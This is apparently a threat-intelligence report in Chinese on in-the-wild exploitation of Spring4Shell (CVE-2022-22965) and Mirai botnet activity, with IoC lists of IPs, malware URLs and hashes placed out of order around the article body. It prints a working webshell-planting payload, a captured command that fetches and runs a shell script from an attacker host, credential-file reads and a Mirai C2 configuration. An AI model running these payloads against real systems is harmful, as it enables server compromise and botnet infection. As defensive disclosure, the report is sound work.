185.100.87.202      	Romania             	AS200651            	FlokiNET            
185.105.90.134      	Russia              	AS205090            	FIRST-SERVER-EUROPE 
185.107.47.171      	The Netherlands     	AS43350             	NFORCE              
185.107.47.215      	The Netherlands     	AS43350             	NFORCE              
185.107.70.56       	The Netherlands     	AS43350             	NFORCE              
185.112.147.12      	Iceland             	AS44925             	THE-1984-AS         
185.129.62.62       	Denmark             	AS57860             	ZENCURITY-NET       
185.163.119.0       	Germany             	AS197540            	netcup-AS           
185.165.171.40      	Romania             	AS200651            	FlokiNET            
185.165.171.84      	Romania             	AS200651            	FlokiNET            
185.170.114.25      	Germany             	AS197540            	netcup-AS           
185.174.101.214     	United States       	AS8100              	ASN-QUADRANET-GLOBAL
185.220.100.240     	Germany             	AS205100            	F3NETZE             
185.220.100.241     	Germany             	AS205100            	F3NETZE             
185.220.100.242     	Germany             	AS205100            	F3NETZE             
185.220.100.243     	Germany             	AS205100            	F3NETZE             
185.220.100.244     	Germany             	AS205100            	F3NETZE             
185.220.100.245     	Germany             	AS205100            	F3NETZE             
185.220.100.246     	Germany             	AS205100            	F3NETZE             
185.220.100.247     	Germany             	AS205100            	F3NETZE             
185.220.100.248     	Germany             	AS205100            	F3NETZE             
185.220.100.249     	Germany             	AS205100            	F3NETZE             
185.220.100.250     	Germany             	AS205100            	F3NETZE             
185.220.100.251     	Germany             	AS205100            	F3NETZE             
185.220.100.252     	Germany             	AS205100            	F3NETZE             
185.220.100.253     	Germany             	AS205100            	F3NETZE             
185.220.100.254     	Germany             	AS205100            	F3NETZE             
185.220.100.255     	Germany             	AS205100            	F3NETZE             
185.220.101.6       	The Netherlands     	AS208294            	RELAYON             
185.220.101.22      	The Netherlands     	AS208294            	RELAYON             
185.220.101.32      	The Netherlands     	AS208294            	RELAYON             
185.220.101.33      	The Netherlands     	AS208294            	RELAYON             
185.220.101.34      	The Netherlands     	AS208294            	RELAYON             
185.220.101.35      	The Netherlands     	AS208294            	RELAYON             
185.220.101.36      	The Netherlands     	AS208294            	RELAYON             
185.220.101.37      	The Netherlands     	AS208294            	RELAYON             
185.220.101.38      	The Netherlands     	AS208294            	RELAYON             
185.220.101.39      	The Netherlands     	AS208294            	RELAYON             
185.220.101.40      	The Netherlands     	AS208294            	RELAYON             
185.220.101.41      	The Netherlands     	AS208294            	RELAYON             
185.220.101.42      	The Netherlands     	AS208294            	RELAYON             
185.220.101.43      	The Netherlands     	AS208294            	RELAYON             
185.220.101.44      	The Netherlands     	AS208294            	RELAYON             
185.220.101.45      	The Netherlands     	AS208294            	RELAYON             
185.220.101.46      	The Netherlands     	AS208294            	RELAYON             
185.220.101.47      	The Netherlands     	AS208294            	RELAYON             
185.220.101.48      	The Netherlands     	AS208294            	RELAYON             
185.220.101.49      	The Netherlands     	AS208294            	RELAYON             
185.220.101.50      	The Netherlands     	AS208294            	RELAYON             
185.220.101.51      	The Netherlands     	AS208294            	RELAYON             
185.220.101.52      	The Netherlands     	AS208294            	RELAYON             
185.220.101.53      	The Netherlands     	AS208294            	RELAYON             
185.220.101.54      	The Netherlands     	AS208294            	RELAYON             
185.220.101.55      	The Netherlands     	AS208294            	RELAYON             
185.220.101.56      	The Netherlands     	AS208294            	RELAYON             
185.220.101.57      	The Netherlands     	AS208294            	RELAYON             
185.220.101.58      	The Netherlands     	AS208294            	RELAYON             
185.220.101.59      	The Netherlands     	AS208294            	RELAYON             
185.220.101.60      	The Netherlands     	AS208294            	RELAYON             
185.220.101.61      	The Netherlands     	AS208294            	RELAYON             
185.220.101.62      	The Netherlands     	AS208294            	RELAYON             
185.220.101.63      	The Netherlands     	AS208294            	RELAYON             
185.220.102.240     	The Netherlands     	AS60729             	ZWIEBELFREUNDE      
185.220.102.245     	The Netherlands     	AS60729             	ZWIEBELFREUNDE      
185.220.102.249     	The Netherlands     	AS60729             	ZWIEBELFREUNDE      
185.220.102.254     	The Netherlands     	AS60729             	ZWIEBELFREUNDE      
185.220.103.7       	United States       	AS4224              	CALYX-AS            
185.226.67.169      	Greece              	AS205053            	Aweb-ASN            
185.243.218.27      	Norway              	AS56655             	TERRAHOST           
185.246.188.95      	Belgium             	AS3164              	ASTIMP-IT           
185.247.226.98      	Iceland             	AS200651            	FlokiNET            
185.254.75.32       	Germany             	AS3214              	XTOM                
188.68.58.0         	Germany             	AS197540            	netcup-AS           
192.42.116.23       	The Netherlands     	AS1101              	IP-EEND-AS          
193.31.24.154       	Germany             	AS197540            	netcup-AS           
193.110.95.34       	Switzerland         	AS13030             	INIT7               
193.111.199.64      	Germany             	AS24961             	MYLOC-AS            
193.218.118.95      	Ukraine             	AS207656            	EPINATURA           
193.218.118.183     	Ukraine             	AS207656            	EPINATURA           
193.218.118.231     	Ukraine             	AS207656            	EPINATURA           
194.31.98.186       	The Netherlands     	AS213035            	AS-SERVERION        
194.233.77.245      	Singapore           	AS141995            	CAPL-AS-AP          
195.176.3.19        	Switzerland         	AS559               	SWITCH              
195.176.3.23        	Switzerland         	AS559               	SWITCH              
198.54.128.102      	United States       	AS11878             	TZULO               
198.98.51.189       	United States       	AS53667             	PONYNET             
198.98.57.207       	United States       	AS53667             	PONYNET             
198.144.121.43      	The Netherlands     	AS206264            	AMARUTU-TECHNOLOGY  
199.195.248.29      	United States       	AS53667             	PONYNET             
199.195.254.81      	United States       	AS53667             	PONYNET             
199.249.230.87      	United States       	AS62744             	QUINTEX             
203.175.13.118      	China               	AS141677            	NATHOSTS-AS-AP      
204.8.156.142       	United States       	AS10961             	BGP-AS              
205.185.117.149     	United States       	AS53667             	PONYNET             
205.185.124.178     	United States       	AS53667             	PONYNET             
209.141.41.103      	United States       	AS53667             	PONYNET             
209.141.44.64       	United States       	AS53667             	PONYNET             
209.141.45.189      	United States       	AS53667             	PONYNET             
209.141.46.81       	United States       	AS53667             	PONYNET             
209.141.46.203      	United States       	AS53667             	PONYNET             
209.141.54.195      	United States       	AS53667             	PONYNET             
209.141.55.26       	United States       	AS53667             	PONYNET             
209.141.57.178      	United States       	AS53667             	PONYNET             
209.141.58.146      	United States       	AS53667             	PONYNET             
209.141.60.19       	United States       	AS53667             	PONYNET             
210.217.18.88       	South Korea         	AS4766              	KIXS-AS-KR          
211.20.42.23        	China               	AS3462              	HINET               
212.107.30.157      	China               	AS41378             	KirinoNET           
213.61.215.54       	Germany             	AS8220              	COLT                
213.164.204.146     	Sweden              	AS8473              	BAHNHOF             
217.138.199.93      	Czech Republic      	AS9009              	M247    



URL


http://107.174.133.167/gmpsl
http://107.174.133.167/gi686
http://107.174.133.167/garm
http://107.174.133.167/gmips
http://107.174.133.167/garm7
http://107.174.133.167/gx86
http://107.174.133.167/t.sh
http://107.174.133.167/garm6
http://107.174.133.167/garm5
http://15.185.213.122:65123/javac
http://15.185.213.122:65123
base64://be3f78b59fa14140b6cc8633bf705a75
http://15.185.213.122:65123/java
base64://c08fec5682085417b0a039bdf47c38f2



MD5


4bcd19351697d04fb357ce5b36600207
7d244e7bf48d6631b588cecae87e759d
9c14d670a48bba4b7c047a01d417f8f2
97a7a357b8290a7236a5fbf45f17569f
7621f1a5e8db18f3ae30031122c9c397
100674f1e3ecfb6fa244de4ba7fd2ae2
329155ab45e244661a7725d81dfad740
611630a580e33017be32de8c72625489
650152a2fe78dfceceb4d1a1fdeaccb8
400590515f0f1cf942fe734126be94e7
a8a36132632366c7f65066b23d6f7e4f
b1124c862998bc4ab3ff8b1d471310a6
cca63413e3ca6b834b6a4446768c5ccb
dcc157b2c284ac676000d64dd33f3ec4
e1190f07a6da91caaa317affc9512caa
eba95249cf0a51e300d7b6029cf7088e
fb63e9a23dbf4124116471fcf3254283
fd839753ca4d89c0ccd229b12f95827c


{"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"### 背景介绍\n2022年3月31号，Spring针对Spring4Shell漏洞(CVE-2022-22965)事件发布了安全公告[[1\\]](https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement)，并提供了漏洞修复程序，此次漏洞事件在安全社区引起广泛关注。\n\n360网络安全研究院高级威胁狩猎蜜罐系统[[2\\]](https://netlab.360.com/zh/honeypot)通过被动监测方式看到了该漏洞在野传播过程，我们也看到了Mirai僵尸网络入场，相关在野漏洞攻击威胁情报已通过自动化形式输出。\n\n\n### Spring4Shell 在野传播\n360网络安全研究院高级威胁狩猎蜜罐系统持续监测到Spring4Shell漏洞(CVE-2022-22965)扫描和漏洞利用行为，部分源IP地理位置分布如下：\n<a href=\"__GHOST_URL__/content/images/2022/04/spring4shell_scanner_distribution.png\"><img src=\"__GHOST_URL__/content/images/2022/04/spring4shell_scanner_distribution.png\" class=\"kg-image\"/></a>\n\n以下是Top 10 国家/地区统计列表\n```\nUnited States      92\nThe Netherlands    49\nGermany            30\nChina              21\nFrance              6\nLuxembourg          6\nSweden              6\nSwitzerland         5\nUkraine             5\nAustria             4\n```\n\n我们监测到大量Webshell和测试文件的上传行为，相应文件信息如下所示：\n<a href=\"__GHOST_URL__/content/images/2022/04/webshell.png\"><img src=\"__GHOST_URL__/content/images/2022/04/webshell.png\" class=\"kg-image\"/></a>\n\n部分在野漏洞利用命令信息如下所示：\n```\necho%20ddfdsfasdfasd\necho%20fdsafasdfasd\necho%202222222\nls\nls%20/tmp/\nwhoami\n%2Fbin%2Fsh%2F-c%24%7BIFS%7D%27cd%24%7BIFS%7D%2Ftmp%3Bwget%24%7BIFS%7Dhttp%3A%2F%2F107.174.133.167%2Ft.sh%24%7BIFS%7D-O-%A6sh%24%7BIFS%7DSpringCore%3B%27 \ncat+/etc/passwd \nchdir \ncmd /c dir \ncmd /c net user \ncurl+http://111.4vcrkb.dnslog.cn/1.jpg \ncurl+http://12121.4vcrkb.dnslog.cn/1.jpg \ncurl+http://35456.4vcrkb.dnslog.cn/1.jpg \ndir \necho \necho 8888888888  \necho %USERNAME%  \necho %computername% \necho </xss> \necho fucker_test_test \necho rinima  \necho%20%3Csvg%20onload=confirm`xss`%3E \necho%20%3Csvg%20onload=confirm`xsssssss`%3E \necho%20ddfdsfasdfasd \necho%20fdsafasdfasd \necho%202222222 \necho+22222 \necho+`whoami` \necho+whoami \nexp\nid \nifconfig \nls \nls%20/tmp/ \nping -n 2 uup0fk.dnslog.cn \nping uup0fk.dnslog.cn \nuname \nwhoami \nwhoami%0A \n```\n\n### Spring4Shell 漏洞分析\nSpring4Shell漏洞(CVE-2022-22965)是在JDK 9版本及以上新增module特性后导致的，并且是针对CVE-2010-1622漏洞补丁的绕过。 \n\n#### CVE-2010-1622 漏洞分析\nCVE-2010-1622漏洞是Spring Bean的CachedIntrospectionResults类在调用java.beans.Introspector.getBeanInfo()枚举属性赋值时，没有指定stop类，导致父类(Object.class是任何java对象的父类)属性可被攻击者恶意控制。\n\nSpring参数绑定支持用户提交表单以 参数=值 的形式进行对象赋值，同时user.address.street=Disclosure+Str等价于frmObj.getUser().getAddress().setStreet(\"Disclosure Str.\")。因此可通过user.address.street=Disclosure+Str的方式给PropertyDescriptor[]中的第一个class属性赋值。如通过classLoader控制class属性，进而构造利用链。\n\n**漏洞补丁**\nSpring通过将classLoader加入属性数组黑名单的方式修补漏洞。\n<a href=\"__GHOST_URL__/content/images/2022/04/patch.png\"><img src=\"__GHOST_URL__/content/images/2022/04/patch.png\" class=\"kg-image\"/></a>\n\n\n#### CVE-2022-22965 漏洞分析\n在参数绑定过程中，包含class属性，与CVE-2010-1622漏洞问题类似：\n<a href=\"__GHOST_URL__/content/images/2022/04/class.png\"><img src=\"__GHOST_URL__/content/images/2022/04/class.png\" class=\"kg-image\"/></a>\n\n\nCVE-2022-22965是CVE-2010-1622补丁的绕过，在JDK11+Tomcat8.5.77+spring-webmvc5.3.17版本中，调试发现通过class.module.classLoader.*可以加载ParallelWebappClassLoader绕过黑名单对classLoader的检测:\n<a href=\"__GHOST_URL__/content/images/2022/04/classloader.png\"><img src=\"__GHOST_URL__/content/images/2022/04/classloader.png\" class=\"kg-image\"/></a>\n\n\n在野Payload：\n```\nclass.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=222\n```\n\npattern指定日志记录的格式，suffix指定日志记录的后缀为.jsp，directory指定日志保存的目录webapps/ROOT，prefix指定文件名tomcatwar，fileDateFormat指定日志文件名日期格式，上述payload通过Tomcat的class AbstractAccessLogValve修改了日志的存储格式、目录和文件名，实现了Webshell的上传。\n\n**漏洞补丁**\n新增了严格的黑名单限制\n<a href=\"__GHOST_URL__/content/images/2022/04/patch1.png\"><img src=\"__GHOST_URL__/content/images/2022/04/patch1.png\" class=\"kg-image\"/></a>\n\n\n### Mirai僵尸网络\n我们看到Mirai僵尸网络很快入场，相关配置信息解密如下所示：\n```\n [0x01]: \"46.175.146.159\\x00\", size=15\n [0x02]: \"A\\x84\", size=2\n [0x03]: \"D\\xfd\", size=2\n [0x04]: \"U better back the fuck off CIANigger >>>---<3-->\\x00\", size=49\n [0x05]: \"shell\\x00\", size=6\n [0x06]: \"enable\\x00\", size=7\n [0x07]: \"system\\x00\", size=7\n [0x08]: \"sh\\x00\", size=3\n [0x09]: \"/bin/busybox DEMONS\\x00\", size=20\n [0x0a]: \"DEMONS: applet not found\\x00\", size=25\n [0x0b]: \"ncorrect\\x00\", size=9\n [0x0c]: \"/bin/busybox ps\\x00\", size=16\n [0x0d]: \"assword\\x00\", size=8\n [0x0e]: \"ogin\\x00\", size=5\n [0x0f]: \"enter\\x00\", size=6\n [0x10]: \"/proc/\\x00\", size=7\n [0x11]: \"/exe\\x00\", size=5\n [0x12]: \"/fd\\x00\", size=4\n [0x13]: \"/maps\\x00\", size=6\n [0x14]: \"/proc/net/tcp\\x00\", size=14\n [0x15]: \"/etc/resolv.conf\\x00\", size=17\n [0x16]: \"nameserver\\x00\", size=11\n [0x17]: \"Pully\\x13SHD\\x1aiIGK\\x1cDig\\x13\\x18}Bfpc]MkGp^b\\x12[}P\\x1b\\\\~m`b`^rc\\x13Xeg\\x13G\\x1a\\x12z*\", size=57\n [0x18]: \"i586\\x00\", size=5\n [0x19]: \"i486\\x00\", size=5\n [0x1a]: \"x86\\x00\", size=4\n [0x1b]: \"i686\\x00\", size=5\n [0x1c]: \"mips\\x00\", size=5\n [0x1d]: \"mipsel\\x00\", size=7\n [0x1e]: \"mpsl\\x00\", size=5\n [0x1f]: \"sh4\\x00\", size=4\n [0x20]: \"superh\\x00\", size=7\n [0x21]: \"ppc\\x00\", size=4\n [0x22]: \"powerpc\\x00\", size=8\n [0x23]: \"spc\\x00\", size=4\n [0x24]: \"sparc\\x00\", size=6\n [0x25]: \"(deleted)\\x00\", size=10\n [0x26]: \"abcdefghijklmnopqrstuvwxyz\\x00\", size=27\n [0x27]: \"%d.%d.%d.%d\\x00\", size=12\n [0x28]: \"POST /cdn-cgi/\\x00\", size=15\n [0x29]: \"UPX!\\x00\", size=5\n [0x2a]: \"botnet\\x00\", size=7\n [0x2b]: \"ddos\\x00\", size=5\n [0x2c]: \"oginenterassword\\x00\", size=17\n [0x2d]: \"GET/  HTTP/1.1\\x00\", size=15\n [0x2e]: \"garm\\x00\", size=5\n [0x2f]: \"gx86\\x00\", size=5\n [0x30]: \"gmips\\x00\", size=6\n [0x31]: \"gmpsl\\x00\", size=6\n [0x32]: \"gsh4\\x00\", size=5\n [0x33]: \"gspc\\x00\", size=5\n [0x34]: \"gppc\\x00\", size=5\n [0x35]: \"gsec\\x00\", size=5\n [0x36]: \".glm\\x00\", size=5\n [0x37]: \"cronx86\\x00\", size=8\n [0x38]: \"cronarm\\x00\", size=8\n [0x39]: \"cronmips\\x00\", size=9\n [0x3a]: \"cronmpsl\\x00\", size=9\n [0x3b]: \"cronsh4\\x00\", size=8\n [0x3c]: \"cronspc\\x00\", size=8\n [0x3d]: \"cronppc\\x00\", size=8\n [0x3e]: \"cronsh\\x00\", size=7\n [0x3f]: \"gi686\\x00\", size=6\n [0x40]: \"/dev/watchdog\\x00\", size=14\n [0x41]: \"/dev/misc/watchdog\\x00\", size=19\n [0x42]: \"/dev/FTWDT101_watchdog\\x00\", size=23\n [0x43]: \"/dev/FTWDT101 watchdog\\x00\\x12\", size=24\n [0x44]: \"/dev/watchdog0\\x00\", size=15\n [0x45]: \"/etc/default/watchdog\\x00\", size=22\n [0x46]: \"/sbin/watchdog\\x00\", size=15\n```\n\n#### Webshell和测试文件列表\n|    filepath  |  count    |\n| ---- | ---- |\n|/tmp/log222.txt|3973|\n|webapps/ROOT/log111.txt|2051|\n|webapps/ROOT/tomcatwar.jsp|110|\n|webapps/ROOT/wpz.jsp|27|\n|/../webapps/ROOT/logout.jsp|12|\n|./webapps/ROOT/test2%20%20.txt|9|\n|webapps/ROOT/log101.txt|7|\n|/log_data_9.jsp|3|\n|webapps/ROOT/xiaozhan.jsp|3|\n|webapps/ROOT/1122.jsp|3|\n|webapps/ROOT/0985763860781234.jsp|3|\n|/2023.jsp|3|\n|webapps/ROOT/zhuzhuxias.jsp|3|\n|webapps/ROOT/log147.txt|2|\n|webapps/ROOT/aaa69875.jsp|1|\n|webapps/ROOT/log186.txt|1|\n|webapps/ROOT/aaa36917.jsp|1|\n|webapps/ROOT/member3war.jsp|1|\n|webapps/ROOT/aaa96225.jsp|1|\n|webapps/ROOT/log154.txt|1|\n|webapps/ROOT/log103.txt|1|\n|webapps/ROOT/log176.txt|1|\n|webapps/ROOT/7FMNZ.jsp|1|\n|webapps/ROOT/aaa28643.jsp|1|\n|webapps/ROOT/aaa49231.jsp|1|\n|webapps/ROOT/aaa50586.jsp|1|\n|webapps/ROOT/log112.txt|1|\n|webapps/ROOT/log110.txt|1|\n|webapps/ROOT/aaa80751.jsp|1|\n|/2021.jsp|1|\n|webapps/ROOT/aaa10854.jsp|1|\n|webapps/ROOT/log105.txt|1|\n|webapps/ROOT/aaa93089.jsp|1|\n|webapps/ROOT/35456.jsp|1|\n|webapps/ROOT/log182.txt|1|\n|webapps/ROOT/aaa24348.jsp|1|\n|webapps/ROOT/log131.txt|1|\n|webapps/ROOT/indexbk.jsp|1|\n|webapps/ROOT/log149.txt|1|\n|webapps/ROOT/log179.txt|1|\n|webapps/webappsbak/sxxd1648765386.txt|1|\n|webapps/ROOT/log150.txt|1|\n|Webapps/ROOT/78754.jsp|1|\n|webapps/ROOT/aaa24168.jsp|1|\n|webapps/ROOT/aaa10487.jsp|1|\n|webapps/ROOT/log178.txt|1|\n|webapps/ROOT/lapsus|1|\n|webapps/ROOT/zhuzhuxia.jsp|1|\n|webapps/ROOT/log135.txt|1|\n|webapps/ROOT/aaa40373.jsp|1|\n|webapps/ROOT/qweasd.jsp|1|\n|webapps/ROOT/console.jsp|1|\n|webapps/ROOT/aaa79694.jsp|1|\n|webapps/ROOT/aaa54378.jsp|1|\n|webapps/ROOT/log129.txt|1|\n|webapps/ROOT/pCJrI.jsp|1|\n|webapps/ROOT/log162.txt|1|\n|Webapps/ROOT/7875456457.jsp|1|\n|webapps/ROOT/.jsp|1|\n|webapps/ROOT/log200.txt|1|\n|webapps/ROOT/8888888888.jsp|1|\n|webapps/ROOT/8888888888.txt|1|\n|webapps/ROOT/log128.txt|1|\n|webapps/ROOT/log124.txt|1|\n|webapps/ROOT/aaa14058.jsp|1|\n|webapps/ROOT/aaa94175.jsp|1|\n|webapps/ROOT/conf.jsp|1|\n|webapps/stupidRumor_war/tomcatwar.jsp|1|\n|webapps/ROOT/aaa83816.jsp|1|\n\n### 处置建议\n我们建议Spring用户及时升级漏洞程序，并排查相应Webshell文件路径。\n\n\n### 联系我们\n感兴趣的读者，可以在 [**twitter**](https://twitter.com/360Netlab) 或者通过邮件**netlab[at]360.cn**联系我们。\n\n\n\n#### IoC List\nMirai C2\n```\n46.175.146.159:16772\n```\n\nIP\n```\n1.85.220.54         \tChina               \tAS4134              \tCHINANET-BACKBONE   \n3.239.1.141         \tUnited States       \tAS14618             \tAMAZON-AES          \n5.2.69.50           \tThe Netherlands     \tAS60404             \tLiteserver          \n14.0.170.249        \tChina               \tAS38819             \tHKCSL-AS-AP         \n23.128.248.10       \tUnited States       \tAS398355            \tDATAIDEAS-LLC       \n23.128.248.11       \tUnited States       \tAS398355            \tDATAIDEAS-LLC       \n23.128.248.12       \tUnited States       \tAS398355            \tDATAIDEAS-LLC       \n23.128.248.13       \tUnited States       \tAS398355            \tDATAIDEAS-LLC       \n23.128.248.14       \tUnited States       \tAS398355            \tDATAIDEAS-LLC       \n23.128.248.15       \tUnited States       \tAS398355            \tDATAIDEAS-LLC       \n23.128.248.16       \tUnited States       \tAS398355            \tDATAIDEAS-LLC       \n23.128.248.17       \tUnited States       \tAS398355            \tDATAIDEAS-LLC       \n23.128.248.19       \tUnited States       \tAS398355            \tDATAIDEAS-LLC       \n23.128.248.20       \tUnited States       \tAS398355            \tDATAIDEAS-LLC       \n23.128.248.21       \tUnited States       \tAS398355            \tDATAIDEAS-LLC       \n23.128.248.22       \tUnited States       \tAS398355            \tDATAIDEAS-LLC       \n23.128.248.23       \tUnited States       \tAS398355            \tDATAIDEAS-LLC       \n23.128.248.24       \tUnited States       \tAS398355            \tDATAIDEAS-LLC       \n23.128.248.25       \tUnited States       \tAS398355            \tDATAIDEAS-LLC       \n23.128.248.27       \tUnited States       \tAS398355            \tDATAIDEAS-LLC       \n23.128.248.28       \tUnited States       \tAS398355            \tDATAIDEAS-LLC       \n23.128.248.29       \tUnited States       \tAS398355            \tDATAIDEAS-LLC       \n23.128.248.33       \tUnited States       \tAS398355            \tDATAIDEAS-LLC       \n23.128.248.34       \tUnited States       \tAS398355            \tDATAIDEAS-LLC       \n23.128.248.38       \tUnited States       \tAS398355            \tDATAIDEAS-LLC       \n23.128.248.39       \tUnited States       \tAS398355            \tDATAIDEAS-LLC       \n23.128.248.40       \tUnited States       \tAS398355            \tDATAIDEAS-LLC       \n23.128.248.41       \tUnited States       \tAS398355            \tDATAIDEAS-LLC       \n23.128.248.42       \tUnited States       \tAS398355            \tDATAIDEAS-LLC       \n23.128.248.43       \tUnited States       \tAS398355            \tDATAIDEAS-LLC       \n23.128.248.44       \tUnited States       \tAS398355            \tDATAIDEAS-LLC       \n23.128.248.46       \tUnited States       \tAS398355            \tDATAIDEAS-LLC       \n23.128.248.48       \tUnited States       \tAS398355            \tDATAIDEAS-LLC       \n23.128.248.50       \tUnited States       \tAS398355            \tDATAIDEAS-LLC       \n23.128.248.51       \tUnited States       \tAS398355            \tDATAIDEAS-LLC       \n23.128.248.53       \tUnited States       \tAS398355            \tDATAIDEAS-LLC       \n23.128.248.54       \tUnited States       \tAS398355            \tDATAIDEAS-LLC       \n23.128.248.55       \tUnited States       \tAS398355            \tDATAIDEAS-LLC       \n23.128.248.56       \tUnited States       \tAS398355            \tDATAIDEAS-LLC       \n23.128.248.57       \tUnited States       \tAS398355            \tDATAIDEAS-LLC       \n23.128.248.58       \tUnited States       \tAS398355            \tDATAIDEAS-LLC       \n23.128.248.59       \tUnited States       \tAS398355            \tDATAIDEAS-LLC       \n23.128.248.60       \tUnited States       \tAS398355            \tDATAIDEAS-LLC       \n23.128.248.61       \tUnited States       \tAS398355            \tDATAIDEAS-LLC       \n23.128.248.62       \tUnited States       \tAS398355            \tDATAIDEAS-LLC       \n23.128.248.63       \tUnited States       \tAS398355            \tDATAIDEAS-LLC       \n23.128.248.64       \tUnited States       \tAS398355            \tDATAIDEAS-LLC       \n23.128.248.65       \tUnited States       \tAS398355            \tDATAIDEAS-LLC       \n23.129.64.130       \tUnited States       \tAS396507            \tEMERALD-ONION       \n23.129.64.131       \tUnited States       \tAS396507            \tEMERALD-ONION       \n23.129.64.132       \tUnited States       \tAS396507            \tEMERALD-ONION       \n23.129.64.133       \tUnited States       \tAS396507            \tEMERALD-ONION       \n23.129.64.134       \tUnited States       \tAS396507            \tEMERALD-ONION       \n23.129.64.135       \tUnited States       \tAS396507            \tEMERALD-ONION       \n23.129.64.136       \tUnited States       \tAS396507            \tEMERALD-ONION       \n23.129.64.137       \tUnited States       \tAS396507            \tEMERALD-ONION       \n23.129.64.138       \tUnited States       \tAS396507            \tEMERALD-ONION       \n23.129.64.139       \tUnited States       \tAS396507            \tEMERALD-ONION       \n23.129.64.140       \tUnited States       \tAS396507            \tEMERALD-ONION       \n23.129.64.141       \tUnited States       \tAS396507            \tEMERALD-ONION       \n23.129.64.142       \tUnited States       \tAS396507            \tEMERALD-ONION       \n23.129.64.143       \tUnited States       \tAS396507            \tEMERALD-ONION       \n23.129.64.145       \tUnited States       \tAS396507            \tEMERALD-ONION       \n23.129.64.146       \tUnited States       \tAS396507            \tEMERALD-ONION       \n23.129.64.147       \tUnited States       \tAS396507            \tEMERALD-ONION       \n23.129.64.148       \tUnited States       \tAS396507            \tEMERALD-ONION       \n23.129.64.149       \tUnited States       \tAS396507            \tEMERALD-ONION       \n23.129.64.210       \tUnited States       \tAS396507            \tEMERALD-ONION       \n23.129.64.211       \tUnited States       \tAS396507            \tEMERALD-ONION       \n23.129.64.212       \tUnited States       \tAS396507            \tEMERALD-ONION       \n23.129.64.213       \tUnited States       \tAS396507            \tEMERALD-ONION       \n23.129.64.214       \tUnited States       \tAS396507            \tEMERALD-ONION       \n23.129.64.215       \tUnited States       \tAS396507            \tEMERALD-ONION       \n23.129.64.216       \tUnited States       \tAS396507            \tEMERALD-ONION       \n23.129.64.217       \tUnited States       \tAS396507            \tEMERALD-ONION       \n23.129.64.218       \tUnited States       \tAS396507            \tEMERALD-ONION       \n23.129.64.219       \tUnited States       \tAS396507            \tEMERALD-ONION       \n23.129.64.250       \tUnited States       \tAS396507            \tEMERALD-ONION       \n23.154.177.6        \tUnited States       \tAS399532            \tULAYER-ASN          \n23.154.177.7        \tUnited States       \tAS399532            \tULAYER-ASN          \n23.239.21.195       \tUnited States       \tAS63949             \tLINODE-AP           \n27.102.106.117      \tSouth Korea         \tAS45996             \tGNJ-AS-KR           \n37.187.18.212       \tFrance              \tAS16276             \tOVH                 \n37.187.96.183       \tFrance              \tAS16276             \tOVH                 \n43.128.201.239      \tThailand            \tAS132203            \tTENCENT-NET-AP-CN   \n43.242.116.54       \tIndia               \tAS45916             \tGTPL-AS-AP          \n45.15.16.105        \tSweden              \tAS42675             \tOBEHOSTING          \n45.32.251.86        \tJapan               \tAS20473             \tAS-CHOOPA           \n45.33.101.246       \tUnited States       \tAS63949             \tLINODE-AP           \n45.61.186.160       \tUnited States       \tAS53667             \tPONYNET             \n45.78.48.51         \tJapan               \tAS25820             \tIT7NET              \n45.128.133.242      \tBelgium             \tAS206804            \tEstNOC-GLOBAL       \n45.129.56.200       \tDenmark             \tAS39351             \tESAB-AS             \n45.136.15.239       \tChina               \tAS139659            \tLUCID-AS-AP         \n45.153.160.2        \tThe Netherlands     \tAS212906            \tmoneroj-ca          \n45.153.160.132      \tThe Netherlands     \tAS212906            \tmoneroj-ca          \n45.153.160.136      \tThe Netherlands     \tAS212906            \tmoneroj-ca          \n45.154.255.138      \tSweden              \tAS41281             \tKEFF                \n45.154.255.139      \tSweden              \tAS41281             \tKEFF                \n45.154.255.147      \tSweden              \tAS41281             \tKEFF                \n46.166.139.111      \tThe Netherlands     \tAS43350             \tNFORCE              \n46.175.146.159          The Netherlands         AS50673                 Serverius-as        \n46.232.251.191      \tGermany             \tAS197540            \tnetcup-AS           \n51.15.76.60         \tThe Netherlands     \tAS12876             \tAS12876             \n51.77.52.216        \tPoland              \tAS16276             \tOVH                 \n58.82.211.226       \tChina               \tAS137872                PEOPLESPHONE-HK                 \t                    \n58.240.81.135       \tChina               \tAS4837              \tCHINA169-Backbone   \n60.248.106.229      \tChina               \tAS3462              \tHINET               \n62.102.148.68       \tSweden              \tAS51815             \tTEKNIKBYRAN         \n62.102.148.69       \tSweden              \tAS51815             \tTEKNIKBYRAN         \n64.113.32.29        \tUnited States       \tAS15154             \tSBBSNET             \n66.220.242.222      \tUnited States       \tAS17356             \tVERMONT-TELE        \n74.82.47.194        \tUnited States       \tAS6939              \tHURRICANE           \n81.17.18.59         \tSwitzerland         \tAS51852             \tPLI-AS              \n81.17.18.62         \tSwitzerland         \tAS51852             \tPLI-AS              \n85.93.218.204       \tLuxembourg          \tAS9008              \tASN-VO              \n85.204.116.204      \tRomania             \tAS48874             \tHOSTMAZE            \n87.120.37.231       \tBulgaria            \tAS34224             \tNETERRA-AS          \n89.58.27.84         \tGermany             \tAS197540                netcup GmbH  \t                    \n89.163.131.159      \tGermany             \tAS24961             \tMYLOC-AS            \n89.163.131.160      \tGermany             \tAS24961             \tMYLOC-AS            \n91.132.147.168      \tGermany             \tAS197540            \tnetcup-AS           \n91.149.225.172      \tNorway              \tAS58110             \tIPVOLUME            \n91.211.89.43        \tUkraine             \tAS206638            \thostfory            \n91.211.89.107       \tUkraine             \tAS206638            \thostfory            \n91.211.89.207       \tUkraine             \tAS206638            \thostfory            \n91.250.242.12       \tRomania             \tAS6718              \tNAV                 \n92.246.84.133       \tGermany             \tAS44592             \tSkyLink             \n93.95.226.212       \tIceland             \tAS44925             \tTHE-1984-AS         \n93.174.89.132       \tThe Netherlands     \tAS202425            \tINT-NETWORK         \n93.179.115.27       